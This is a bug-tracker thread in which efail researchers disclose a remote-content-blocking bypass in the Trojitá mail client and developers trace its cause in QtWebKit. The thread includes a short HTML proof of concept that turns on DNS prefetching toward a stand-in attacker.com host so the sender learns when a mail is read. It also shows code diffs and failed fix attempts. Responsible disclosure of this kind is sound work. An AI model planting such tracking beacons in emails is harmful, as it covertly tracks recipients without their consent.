Created attachment 110652 [details] HTML Backchannel in Trojitá Mail Client: DNS Prefetching Dear Trojitá Devs, In the scope of academic research within the efail project, in cooperation with Ruhr-University Bochum and FH Münster, Germany we systematically analyzed Trojitá for `web bugs' and other backchannels which have an impact on the user's privacy. The results are as follows. *** Introduction *** It is well known that spammers abuse `web bugs' -- 1x1 pixel images in HTML emails -- to track if their mails to a certain address are actually read. To respect the privacy of their customers most email clients, by default, block external content. However, we found a bypass for remote content blocking in Trojitá. *** The Impact *** The issue allows the sender of an email to leak information such as: - if and when the mail has been read - the number of users on a mailing list *** The Bypass *** The following HTML email triggers a DNS request to the DNS server responsible for tracking-id.attacker.com when the email is opened in Trojitá (without any user interaction required): <meta http-equiv="x-dns-prefetch-control" content="on"> <a href="http://tracking-id.attacker.com"></a> Note that it is easy to set up a DNS server controlled by the spammer responsible for her own domain, attacker.com, and all its subdomains. Greetings, Jens
Hi Jens, thanks a lot for this test. We understand that this is indeed a problem -- thanks for letting us know. We're relying on the Qt framework's packaging of WebKit for HTML rendering. Can you please specify which Qt version and on which platform did you use in this test? The upstream situation with QtWebKit is, well, complicated, so this is an important piece of information for us. Please note that there are at least two implementations of "QtWebKit", one based on the official repositories and the other based on [1]. Some Linux distributions have switched to using this other WebKit. It's documented [2] that DNS prefetching should be disabled by default in the official (and obsolete) Qt module. I also checked the code in latest upstream's git, and in there that attribute also defaults to false. We have so far relied on these effects (and some ad-hoc manual checks which were done at design & implementation time) to ensure that we don't leak these data. Too bad that it apparently fails now. [1] https://github.com/annulen/webkit [2] http://doc.qt.io/archives/qt-5.5/qwebsettings.html#WebAttribute-enum
For the tests we used Debian GNU/Linux 9.3 with the libqt5webkit5:amd64 (version 5.7.1+dfsg-1) package installed. Note easy prefetching of <a href links or images does not work in Trojitá, neither does: <link href="http://tracking-id.attacker.com" rel="prefetch"> But prefetching can be re-enabled either in the HTTP header (which is hard for email) or in the HTML content itself by the spammer: <meta http-equiv="x-dns-prefetch-control" content="on">
I can reproduce it on OpenBSD -current with qtwebkit 5.9.0 (pretty sure this is still the official/original QtWebkit, not the fork). I started looking at some QtWebkit code to figure out what is going on but not done yet.
I looked at the QtWebkit source code and this piece of code caught my attention: 4729 void Document::initDNSPrefetch() 4730 { 4731 Settings* settings = this->settings(); 4732 4733 m_haveExplicitlyDisabledDNSPrefetch = false; 4734 m_isDNSPrefetchEnabled = settings && settings->dnsPrefetchingEnabled() && securityOrigin()->protocol() == "http"; 4735 4736 // Inherit DNS prefetch opt-out from parent frame 4737 if (Document* parent = parentDocument()) { 4738 if (!parent->isDNSPrefetchEnabled()) 4739 m_isDNSPrefetchEnabled = false; 4740 } 4741 } 4742 4743 void Document::parseDNSPrefetchControlHeader(const String& dnsPrefetchControl) 4744 { 4745 if (equalIgnoringCase(dnsPrefetchControl, "on") && !m_haveExplicitlyDisabledDNSPrefetch) { 4746 m_isDNSPrefetchEnabled = true; 4747 return; 4748 } 4749 4750 m_isDNSPrefetchEnabled = false; 4751 m_haveExplicitlyDisabledDNSPrefetch = true; 4752 } Source: https://github.com/qt/qtwebkit/blob/5.9/Source/WebCore/dom/Document.cpp#L4729 The way I read the code: when initializing the DNS prefetch code, the settings regarding DNS prefetching are taken into account (line 4734), but when DNS prefetching is turned on by the "website", for instance with a header or the http-equiv meta tag, the settings are ignored and DNS prefetching is turned on regardless (line 4746). To verify my assumption, I applied the diff found at the bottom to the QtWebkit code and observed stdout while running trojita. When opening one of those emails in Trojita, this is what I see on stdout: initDNSPrefetch(): DNS prefetching disabled in settings initDNSPrefetch(): DNS prefetching disabled in settings Processing HTTP equiv: parseDNSPrefetchControlHeader(): turning DNS prefetching on This seems to confirm my understanding of the code. So the way I see it, there is no easy, straightforward way for us to disable this behavior in (Qt)Webkit. Do you agree with my analysis? Index: Source/WebCore/dom/Document.cpp --- Source/WebCore/dom/Document.cpp.orig +++ Source/WebCore/dom/Document.cpp @@ -28,6 +28,8 @@ #include "config.h" #include "Document.h" +#include <iostream> + #include "AXObjectCache.h" #include "AnimationController.h" #include "Attr.h" @@ -2824,6 +2826,8 @@ void Document::processHttpEquiv(const String& equiv, c Frame* frame = this->frame(); + cout << "Processing HTTP equiv:" << endl; + if (equalIgnoringCase(equiv, "default-style")) { // The preferred style set has been overridden as per section // 14.3.2 of the HTML4.0 specification. We need to update the @@ -4732,6 +4736,10 @@ void Document::initDNSPrefetch() m_haveExplicitlyDisabledDNSPrefetch = false; m_isDNSPrefetchEnabled = settings && settings->dnsPrefetchingEnabled() && securityOrigin()->protocol() == "http"; + if (settings && settings->dnsPrefetchingEnabled()) + cout << "initDNSPrefetch(): DNS prefetching enabled in settings" << endl; + else + cout << "initDNSPrefetch(): DNS prefetching disabled in settings" << endl; // Inherit DNS prefetch opt-out from parent frame if (Document* parent = parentDocument()) { @@ -4743,6 +4751,7 @@ void Document::initDNSPrefetch() void Document::parseDNSPrefetchControlHeader(const String& dnsPrefetchControl) { if (equalIgnoringCase(dnsPrefetchControl, "on") && !m_haveExplicitlyDisabledDNSPrefetch) { + cout << "parseDNSPrefetchControlHeader(): turning DNS prefetching on" << endl; m_isDNSPrefetchEnabled = true; return; }
The way the code looks, injecting <meta http-equiv="x-dns-prefetch-control" content="off"> to the top of any html mail should do. Otherwise the behavior seems intended. You can configure the default behavior, but the webpage has the last word on this. --- ceterum censeo: dropping html mail support would reliably fix this :-P
(In reply to Thomas Lübking from comment #5) > The way the code looks, injecting > > <meta http-equiv="x-dns-prefetch-control" content="off"> > > to the top of any html mail should do. I thought of that as well this morning. Hopefully I'll have time tonight to submit a patch, let's see. > ceterum censeo: dropping html mail support would reliably fix this :-P Hehe.
Hello everyone, At the bottom is a diff that contains my failed attempts at solving the problem. Here is a description of those attempts: 1) Connect a slot to the QNetworkAccessManager::finished signal in EmbeddedWebView that sets the "X-DNS-Prefetch-Control: off" header. Reason it fails: the setRawHeader() method is protected so we cannot call it from EmbeddedWebView. 2) Set the "X-DNS-Prefetch-Control: off" header in MsgPartNetworkReply. Reason it fails: either QtWebkit does not see the header or it does not use it the same way it uses an equivalent meta http-equiv tag. Either way, DNS prefetching is not disabled. 3) Connect a slot to the QWebView::loadFinished signal in SimplePartWidget that prepends the HTML with the meta http-equiv HTML tag to disable DNS prefetching. Reason it fails: the page is rendered before the loadFinished signal is emitted and the page us replaced. As such, the DNS requests are still performed before the "fixed" page is put in place. Does anyone have a better approach? -- diff --git a/src/Gui/EmbeddedWebView.cpp b/src/Gui/EmbeddedWebView.cpp index 6c530595..73a79d0b 100644 --- a/src/Gui/EmbeddedWebView.cpp +++ b/src/Gui/EmbeddedWebView.cpp @@ -75,6 +75,8 @@ EmbeddedWebView::EmbeddedWebView(QWidget *parent, QNetworkAccessManager *network setPage(new ErrorCheckingPage(this)); page()->setNetworkAccessManager(networkManager); + connect(networkManager, &QNetworkAccessManager::finished, this, &EmbeddedWebView::slotReplyFinished); + QWebSettings *s = settings(); s->setAttribute(QWebSettings::JavascriptEnabled, false); s->setAttribute(QWebSettings::JavaEnabled, false); @@ -177,6 +179,12 @@ void EmbeddedWebView::handlePageLoadFinished() page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks); } +void EmbeddedWebView::slotReplyFinished(QNetworkReply *reply) +{ + // XXX: setRawHeader() is protected so we're unable to use it here +// reply->setRawHeader(QByteArrayLiteral("X-DNS-Prefetch-Control"), QByteArrayLiteral("off")); +} + void EmbeddedWebView::changeEvent(QEvent *e) { QWebView::changeEvent(e); diff --git a/src/Gui/EmbeddedWebView.h b/src/Gui/EmbeddedWebView.h index 9ac83d15..b8001ebd 100644 --- a/src/Gui/EmbeddedWebView.h +++ b/src/Gui/EmbeddedWebView.h @@ -78,6 +78,7 @@ private slots: void autoScroll(); void slotLinkClicked(const QUrl &url); void handlePageLoadFinished(); + void slotReplyFinished(QNetworkReply *reply); private: QWidget *m_scrollParent; int m_scrollParentPadding; diff --git a/src/Gui/SimplePartWidget.cpp b/src/Gui/SimplePartWidget.cpp index de4d9a2d..f3f58f98 100644 --- a/src/Gui/SimplePartWidget.cpp +++ b/src/Gui/SimplePartWidget.cpp @@ -71,6 +71,8 @@ SimplePartWidget::SimplePartWidget(QWidget *parent, Imap::Network::MsgPartNetAcc QWebSettings *s = settings(); s->setFontFamily(QWebSettings::StandardFont, font.family()); } + } else { + connect(this, &QWebView::loadFinished, this, &SimplePartWidget::slotMarkupPage); } load(url); @@ -107,6 +109,21 @@ SimplePartWidget::SimplePartWidget(QWidget *parent, Imap::Network::MsgPartNetAcc } } +void SimplePartWidget::slotMarkupPage() +{ + // NOTICE "single shot", we get a recursion otherwise! + disconnect(this, &QWebView::loadFinished, this, &SimplePartWidget::slotMarkupPage); + + // If there's no data, don't try to "fix it up" + if (!m_partIndex.isValid() || !m_partIndex.data(Imap::Mailbox::RoleIsFetched).toBool()) + return; + + // and finally set the page + static QString header(QStringLiteral("<meta http-equiv=\"x-dns-prefetch-control\" content=\"off\">")); + page()->mainFrame()->setHtml(header + m_partIndex.data(Imap::Mailbox::RolePartUnicodeText).toString()); + qDebug() << "replaced the text"; +} + void SimplePartWidget::slotMarkupPlainText() { // NOTICE "single shot", we get a recursion otherwise! diff --git a/src/Gui/SimplePartWidget.h b/src/Gui/SimplePartWidget.h index 14162e0e..3b3cb677 100644 --- a/src/Gui/SimplePartWidget.h +++ b/src/Gui/SimplePartWidget.h @@ -66,6 +66,7 @@ public: void buildContextMenu(const QPoint &point, QMenu &menu) const; private slots: void slotFileNameRequested(QString *fileName); + void slotMarkupPage(); void slotMarkupPlainText(); void slotDownloadPart(); void slotDownloadMessage(); diff --git a/src/Imap/Network/MsgPartNetworkReply.cpp b/src/Imap/Network/MsgPartNetworkReply.cpp index 1135650e..275f1555 100644 --- a/src/Imap/Network/MsgPartNetworkReply.cpp +++ b/src/Imap/Network/MsgPartNetworkReply.cpp @@ -44,6 +44,9 @@ MsgPartNetworkReply::MsgPartNetworkReply(MsgPartNetAccessManager *parent, const url.setPath(part.data(Imap::Mailbox::RolePartPathToPart).toString()); setUrl(url); + qDebug() << "MsgPartNetworkReply: X-DNS-Prefetch-Control: off"; + setRawHeader(QByteArrayLiteral("X-DNS-Prefetch-Control"), QByteArrayLiteral("off")); + setOpenMode(QIODevice::ReadOnly | QIODevice::Unbuffered); Q_ASSERT(part.isValid()); @@ -107,6 +110,8 @@ void MsgPartNetworkReply::slotMyDataChanged() } else { setHeader(QNetworkRequest::ContentTypeHeader, mimeType); } + qDebug() << "MsgPartNetworkReply: X-DNS-Prefetch-Control: off"; + setRawHeader(QByteArrayLiteral("X-DNS-Prefetch-Control"), QByteArrayLiteral("off")); setFinished(true); emit readyRead(); emit finished();
> Does anyone have a better approach? Patch QtWebKit and send that patch upstream, please. This is clearly their bug. > Otherwise the behavior seems intended. You can configure the default behavior, but the webpage has the last word on this. Which looks like a reasonable behavior for a web browser to my eyes untrained on today's browsers' safety, but it's definitely a wrong behavior for a reusable component.
Caspar, did you have luck reporting this bug to the Qt upstream?
(In reply to Jan Kundrát from comment #9) > Caspar, did you have luck reporting this bug to the Qt upstream? I'm sorry, no, not yet. I'll open a bug report tonight and I'll keep you posted.
(In reply to Caspar Schutijser from comment #10) > I'll open a bug report tonight and I'll keep you > posted. https://bugreports.qt.io/browse/QTBUG-67068
Jens reported the bug to WebKit: https://bugs.webkit.org/show_bug.cgi?id=182924 That change will be backported to QtWebKit: https://bugreports.qt.io/browse/QTBUG-67068?focusedCommentId=395494&page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel#comment-395494 Jens, thanks for reporting the bug.